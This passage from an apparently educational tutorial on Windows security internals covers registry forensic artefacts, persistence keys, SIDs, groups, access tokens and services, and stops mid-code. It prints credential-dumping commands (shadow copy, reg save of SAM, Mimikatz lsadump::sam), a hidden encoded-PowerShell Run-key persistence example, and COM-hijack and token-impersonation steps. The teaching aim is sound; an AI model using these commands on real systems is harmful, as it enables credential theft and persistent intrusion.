&lt;/h3&gt;

&lt;p&gt;These are the locations every security professional must know. Memorise them.&lt;/p&gt;

&lt;h4&gt;
  
  
  Persistence — AutoRun Keys
&lt;/h4&gt;

&lt;p&gt;The most important persistence locations. Malware, legitimate software, and scheduled tasks all use these to survive reboots.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# 64-bit OS, 32-bit app compatibility keys:
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check all autorun locations&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Better: use Autoruns from Sysinternals — shows EVERYTHING&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Security Note:&lt;/strong&gt; Autoruns from Sysinternals is arguably the most important single tool for Windows malware analysis and persistence hunting. It shows every autostart location in the registry, file system, and scheduled tasks — and can compare the current state against VirusTotal. Run it on any suspected compromised system immediately.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Service Configuration
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Services\&amp;lt;ServiceName&amp;gt;
    └── ImagePath    → Path to the service executable
    └── Start        → 0=Boot, 1=System, 2=Auto, 3=Manual, 4=Disabled
    └── Type         → Service type
    └── ObjectName   → Account the service runs as
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Privilege Escalation:&lt;/strong&gt; If the &lt;code&gt;ImagePath&lt;/code&gt; value of a service running as SYSTEM points to a binary that a low-privilege user can modify or replace, the attacker replaces the binary with a malicious one. The next time the service starts, their code runs as SYSTEM. This is one of the most common Windows privilege escalation paths.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  SAM — The Local Password Database
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKLM\SAM\SAM\Domains\Account\Users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SAM (Security Account Manager) hive stores local user account information including NTLM password hashes. The SAM hive is locked and inaccessible while Windows is running — even to SYSTEM. However, attackers use several techniques to access it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Volume Shadow Copy:&lt;/strong&gt; &lt;code&gt;vssadmin create shadow /for=C:&lt;/code&gt; then copy the shadow's SAM file&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;reg save:&lt;/strong&gt; &lt;code&gt;reg save HKLM\SAM sam.hive&lt;/code&gt; (requires SYSTEM privileges)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mimikatz:&lt;/strong&gt; &lt;code&gt;lsadump::sam&lt;/code&gt; — reads from the locked hive using the kernel driver&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  SYSTEM Hive — Boot Key
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\LSA\JD
HKLM\SYSTEM\CurrentControlSet\Control\LSA\Skew1
HKLM\SYSTEM\CurrentControlSet\Control\LSA\GBG
HKLM\SYSTEM\CurrentControlSet\Control\LSA\Data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These four subkeys together form the SYSKEY (boot key) used to encrypt the SAM database. To decrypt SAM hashes, both the SAM hive AND the SYSTEM hive are required. This is why credential extraction tools always dump both.&lt;/p&gt;

&lt;h4&gt;
  
  
  UserAssist — Execution History
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tracks programs executed by the user, encoded in ROT-13. Forensically valuable — shows what programs the user ran and when, even if those programs have since been deleted.&lt;/p&gt;

&lt;h4&gt;
  
  
  RecentDocs and TypedPaths
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Recently accessed files and manually typed Explorer paths. Forensic gold for understanding what a user accessed.&lt;/p&gt;

&lt;h4&gt;
  
  
  ShimCache (AppCompatCache)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Application Compatibility Cache records every executable that ran on the system (file path, size, last modified time). &lt;strong&gt;Critically, it records execution history even for files that have since been deleted.&lt;/strong&gt; This is one of the most important forensic artefacts in Windows investigations — it can prove a malicious binary ran on the system even after the file was cleaned up.&lt;/p&gt;

&lt;h4&gt;
  
  
  AmCache
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C:\Windows\AppCompat\Programs\Amcache.hve  (separate hive file, not inline)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Similar to ShimCache but stores SHA1 hashes of executed files. Even if the malware is gone, its hash remains and can be submitted to VirusTotal for attribution.&lt;/p&gt;

&lt;h4&gt;
  
  
  NTUSER.DAT — The User Hive
&lt;/h4&gt;

&lt;p&gt;Each user's &lt;code&gt;HKCU&lt;/code&gt; is backed by a file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C:\Users\&amp;lt;username&amp;gt;\NTUSER.DAT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a complete registry hive file. Forensic tools like &lt;strong&gt;Registry Explorer&lt;/strong&gt; (Eric Zimmermann) and &lt;strong&gt;regripper&lt;/strong&gt; parse offline hive files — essential for dead-box analysis when you cannot boot the system.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.5 Registry as an Attack Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fileless Malware and the Registry:&lt;/strong&gt;&lt;br&gt;
Malware increasingly stores its payload directly in the registry rather than on disk, specifically to evade file-based antivirus scanning:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Attacker stores Base64-encoded payload in registry&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Updater"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"powershell.exe -NonInteractive -WindowStyle Hidden -EncodedCommand &amp;lt;BASE64_PAYLOAD&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The payload never touches disk as a file — it lives in the registry and is executed by PowerShell. Many legacy antivirus products never detect this because they only scan files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Registry Hive Injection:&lt;/strong&gt;&lt;br&gt;
Advanced attackers can inject malicious DLLs through COM object hijacking:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# If this key exists for a COM object:
HKCU\SOFTWARE\Classes\CLSID\{GUID}\InprocServer32 = C:\malware.dll

# And a legitimate application loads this COM object,
# the malicious DLL is loaded into that application's process
# WITHOUT creating any autorun key or scheduled task
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. User and Group Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Windows Accounts
&lt;/h3&gt;

&lt;p&gt;Windows has two fundamentally different account types:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Local Accounts&lt;/strong&gt; — Exist only on the specific machine. Stored in the SAM database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Domain Accounts&lt;/strong&gt; — Exist in Active Directory, can authenticate to any machine in the domain. Covered in depth in Stage 7.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Built-in Accounts You Must Know:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Account&lt;/th&gt;
&lt;th&gt;SID&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Security Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Administrator&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;S-1-5-21-...-500&lt;/td&gt;
&lt;td&gt;Built-in local admin&lt;/td&gt;
&lt;td&gt;RID 500 — cannot be deleted, can be renamed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Guest&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;S-1-5-21-...-501&lt;/td&gt;
&lt;td&gt;Low privilege guest&lt;/td&gt;
&lt;td&gt;Disabled by default, should stay disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SYSTEM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;S-1-5-18&lt;/td&gt;
&lt;td&gt;OS itself&lt;/td&gt;
&lt;td&gt;Highest privilege on local machine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LOCAL SERVICE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;S-1-5-19&lt;/td&gt;
&lt;td&gt;Limited service account&lt;/td&gt;
&lt;td&gt;Minimal privileges, no network credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NETWORK SERVICE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;S-1-5-20&lt;/td&gt;
&lt;td&gt;Network service account&lt;/td&gt;
&lt;td&gt;Like LOCAL SERVICE but uses computer credentials on network&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The RID 500 Administrator:&lt;/strong&gt;&lt;br&gt;
The built-in Administrator account always has RID (Relative Identifier) 500. Even if renamed to "notadmin" or "helpdesk," its SID ends in -500. Security tools identify it by SID, not name. This account is disabled by default on modern Windows, but enabling it is a common attacker persistence technique because it cannot be deleted.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.2 Security Identifiers (SIDs)
&lt;/h3&gt;

&lt;p&gt;Every user, group, and computer in Windows has a unique &lt;strong&gt;SID (Security Identifier)&lt;/strong&gt;. SIDs are the actual identity — names are just human-readable labels.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;S-1-5-21-3623811015-3361044348-30300820-1013
│ │ │    └────────────────────────────────── RID (Relative ID - 1013 = user)
│ │ └─────────────────────────────────────── Domain/Machine identifier
│ └───────────────────────────────────────── NT Authority (5)
└─────────────────────────────────────────── SID revision (1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Well-known SIDs:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;S-1-1-0          Everyone
S-1-5-18         SYSTEM
S-1-5-32-544     BUILTIN\Administrators
S-1-5-32-545     BUILTIN\Users
S-1-5-32-546     BUILTIN\Guests
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Get current user's SID&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Security.Principal.WindowsIdentity&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetCurrent&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Get SID for any user&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-LocalUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Administrator"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SID&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Convert SID to name&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$objSID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Security.Principal.SecurityIdentifier&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"S-1-5-21-..."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$objSID&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Translate&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;System.Security.Principal.NTAccount&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Local Groups
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all local groups&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-LocalGroup&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Key groups:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Administrators  — Members can do anything on the local machine&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Users           — Standard users&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Remote Desktop Users — Can connect via RDP&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Remote Management Users — Can connect via WinRM/PowerShell remoting&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Backup Operators — Can bypass file permissions for backup (dangerous if abused)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Event Log Readers — Can read event logs without admin rights&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Check members of Administrators group&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-LocalGroupMember&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Group&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Administrators"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# This is a critical check during post-exploitation:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Who else has admin on this machine?&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Backup Operators — An Often Overlooked Privilege:&lt;/strong&gt;&lt;br&gt;
Members of the Backup Operators group have &lt;code&gt;SeBackupPrivilege&lt;/code&gt; and &lt;code&gt;SeRestorePrivilege&lt;/code&gt;. These allow reading any file regardless of NTFS permissions (for "backup" purposes). An attacker with Backup Operators membership can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Copy the SAM and SYSTEM hives using backup APIs&lt;/li&gt;
&lt;li&gt;Extract password hashes&lt;/li&gt;
&lt;li&gt;Crack or pass them for lateral movement&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is exactly why group membership matters — it is not just about "Administrator" vs "User."&lt;/p&gt;
&lt;h3&gt;
  
  
  4.4 Access Tokens and Impersonation
&lt;/h3&gt;

&lt;p&gt;When a user logs in, Windows creates an &lt;strong&gt;access token&lt;/strong&gt; — a data structure containing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;User SID&lt;/li&gt;
&lt;li&gt;Group SIDs (all groups the user belongs to)&lt;/li&gt;
&lt;li&gt;Privileges&lt;/li&gt;
&lt;li&gt;Integrity level&lt;/li&gt;
&lt;li&gt;Session ID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every process and thread has an access token. All access control checks compare the token against the object's ACL.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Token Impersonation — The Post-Exploitation Technique:&lt;/strong&gt;&lt;br&gt;
Windows allows processes (with the right privileges) to "impersonate" another user by duplicating their token. This is a critical lateral movement and privilege escalation technique:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Scenario:
1. Attacker compromises a web server running as IIS AppPool
2. A domain admin connects to the server and their token is cached
3. With SeImpersonatePrivilege (which IIS workers have by default),
   the attacker duplicates the domain admin's token
4. Attacker creates a new process with the impersonated token
5. Now running as domain admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tools like &lt;strong&gt;Incognito&lt;/strong&gt; (Metasploit module) and &lt;strong&gt;Juicy Potato&lt;/strong&gt; / &lt;strong&gt;Rotten Potato&lt;/strong&gt; / &lt;strong&gt;Sweet Potato&lt;/strong&gt; automate token impersonation attacks. These are extremely common in CTF post-exploitation and real penetration tests.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check current token privileges&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/priv&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Dangerous privileges that enable privilege escalation:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# SeImpersonatePrivilege  → Potato attacks, token impersonation&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# SeAssignPrimaryToken    → Assign tokens to new processes&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# SeBackupPrivilege       → Read any file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# SeRestorePrivilege      → Write any file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# SeDebugPrivilege        → Debug (and inject into) any process including SYSTEM ones&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# SeLoadDriverPrivilege   → Load kernel drivers → BYOVD attacks&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# SeTakeOwnershipPrivilege → Take ownership of any object&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Windows Service Architecture
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 What Is a Windows Service
&lt;/h3&gt;

&lt;p&gt;A Windows service is a long-running executable that performs specific functions and can be started automatically at boot, independently of user login. Services run in the background with no user interface.&lt;/p&gt;

&lt;p&gt;Services are the backbone of Windows functionality:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;wuauserv&lt;/code&gt; — Windows Update&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;WinDefend&lt;/code&gt; — Windows Defender&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;LanmanServer&lt;/code&gt; — File sharing (SMB server)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;TermService&lt;/code&gt; — Remote Desktop&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Dnscache&lt;/code&gt; — DNS client cache&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;EventLog&lt;/code&gt; — Windows Event Log&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.2 Service Internals
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all services with details&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DisplayName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartType&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Get detailed service configuration&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; 
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PathName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartMode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;State&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Running"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# The StartName field is critical — it shows what account the service runs as&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Values you'll see: LocalSystem, NT AUTHORITY\LocalService, NT AUTHORITY\NetworkService,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# NT AUTHORITY\SYSTEM, or a specific domain/local account&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 svchost.exe — The Service Host
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;svchost.exe&lt;/code&gt; (Service Host) is a generic host process for Windows services that are implemented as DLLs rather than standalone executables. Many services share svchost.exe instances to save resources.&lt;/p&gt;

&lt;p&gt;This is one of the most abused process names in malware. Understanding normal svchost.exe behaviour is essential:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all svchost instances and what services they host&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;svchost&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$pid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Id&lt;/span&gt;&lt;span class="w"&gt;
